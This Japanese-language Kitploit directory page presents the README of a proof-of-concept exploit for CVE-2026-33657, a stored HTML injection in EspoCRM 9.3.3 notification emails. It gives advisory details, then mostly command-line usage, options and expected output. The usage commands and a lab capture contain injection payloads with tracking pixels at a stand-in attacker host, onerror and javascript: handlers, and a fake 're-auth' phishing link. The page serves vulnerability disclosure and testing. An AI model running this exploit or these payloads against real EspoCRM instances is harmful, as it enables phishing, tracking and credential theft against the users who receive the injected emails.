Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - メール通知における保存型HTMLインジェクション | Kitploit
ツール/GitHubGitHub/entrovyx/cve-2026-33657
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - メール通知における保存型HTMLインジェクション

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33657 - EspoCRM 9.3.3 メール通知における保存型HTMLインジェクション

EspoCRM 9.3.3のメール通知における保存型HTMLインジェクションの認証済み概念実証。

概要

EspoCRM 9.3.3は、ストリームノート通知メールをレンダリングする際に、ノート本文をMarkdownで変換し、その結果のHTMLをトリプルブレース({{{post}}})でメールテンプレートに挿入します。ストリーム投稿を作成して通知をトリガーできる認証済みユーザーは、後で生成されるメール本文にレンダリングされる攻撃者制御のHTMLを保存できます。

このエクスプロイトは、攻撃者が制御するリモート部分のフローを実行します:

  1. EspoCRMに認証します。
  2. オプションで /api/v1/App/user を使用してバージョンをフィンガープリントします。
  3. HTMLを含む悪意のある Note を作成します。
  4. --mention または --target-user-id を使用して通知ターゲットをキューに入れます。
  5. ペイロードが保存され、通知ターゲットがAPIレスポンスに存在することを確認します。

メール配信は、EspoCRMの通常の SendEmailNotifications ジョブまたはcronがキューに入れられた通知を処理するときに発生します。

影響を受けるバージョン

  • 脆弱性あり: EspoCRM 9.3.3
  • 修正済み: EspoCRM 9.3.4
  • アドバイザリ: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80
  • 要件

    • Python 3
    • requests
    • 有効なEspoCRM認証情報
    • ストリーム Note レコードを作成する権限
    • 通知ターゲット:
      • メンションメール通知用の --mention <username>、または
      • ターゲット指定ストリーム投稿通知用の --target-user-id <id>

    依存関係のインストール:

    root@kitploit:~
    python3 -m pip install requests
    

    使用方法

    推奨されるメンションベースのパス:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u http://127.0.0.1:8083 \
      -U testuser \
      -P 'Admin12345!' \
      --mention admin
    

    カスタムトラッキングURLを使用:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --tracking-url https://attacker.example/pixel.gif
    

    完全にカスタムなHTMLペイロードを使用:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
    

    メンションではなく特定のユーザーIDをターゲットにする:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --target-user-id 0123456789abcdef0 \
      --target-user-name 'Victim User'
    

    ノートを作成せずにフィンガープリントのみ:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --detect-only
    

    オプション

    root@kitploit:~
    -u, --url                 EspoCRMのベースURL
    -U, --username            EspoCRMのユーザー名
    -P, --password            EspoCRMのパスワード
    --mention                 メンションするユーザー名(@なし)
    --target-user-id          ターゲット指定ストリーム投稿通知用のユーザーID
    --target-user-name        --target-user-id の表示名
    --payload                 Noteに保存する生のHTMLペイロード
    --tracking-url            デフォルトペイロードで使用されるトラッキングピクセルURL
    --link-url                デフォルトペイロードで使用されるリンクURL
    --marker                  ペイロードの前に付加されるマーカーテキスト
    --detect-only             バージョンのフィンガープリントのみ。Noteは作成しない
    --skip-version-check      エクスプロイト前に /api/v1/App/user をスキップ
    --force                   バージョンフィンガープリントが9.3.3でなくても続行
    --insecure                TLS証明書の検証を無効化
    

    期待される出力

    成功した実行では、悪意のあるノートが作成され、通知ターゲットが確認されます:

    root@kitploit:~
    [*] /api/v1/App/user: HTTP 200
    [*] Detected version: 9.3.3
    [+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
    [*] Creating malicious Note as testuser
    [*] Note response: HTTP 200 ...
    [+] Exploit payload stored in Note post.
    [+] Note id: 69fddeef8db756271
    [+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
    [+] Notification target list returned by API: 69fdcfb66c34ccb81
    [+] Complete remote trigger submitted.
    

    脆弱なインスタンスでは、生成されたHTMLメール本文はインジェクションされたHTMLを保持します。ラボでのキャプチャは次のようになります:

    root@kitploit:~
    <img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
    <a href="javascript:alert(33657)" style="color:red">re-auth</a>
    

    ラボでの検証

    ローカルのEspoCRMラボで、エクスプロイト実行後に通知ジョブをトリガーします:

    root@kitploit:~
    sudo -u www-data php command.php run-job SendEmailNotifications
    

    結果のメール本文には、text/html 部分にインジェクションされたHTMLが含まれている必要があります。

    注意事項

    • このエクスプロイトはターゲットへのシェルアクセスを必要としません。シェルアクセスは、キューに入れられたメールジョブのローカルラボ検証にのみ役立ちます。
    • APIが @@version を報告する場合、ターゲットはソースツリービルドである可能性があります。基盤となるコードが依然として脆弱な9.3.3タグである可能性があるため、スクリプトは続行します。
    • --mention が解析されたメンションを生成しない場合は、攻撃者の messagePermission と mentionPermission を確認し、ターゲットのユーザー名が存在して通知を受信できることを確認してください。
    ツールをダウンロード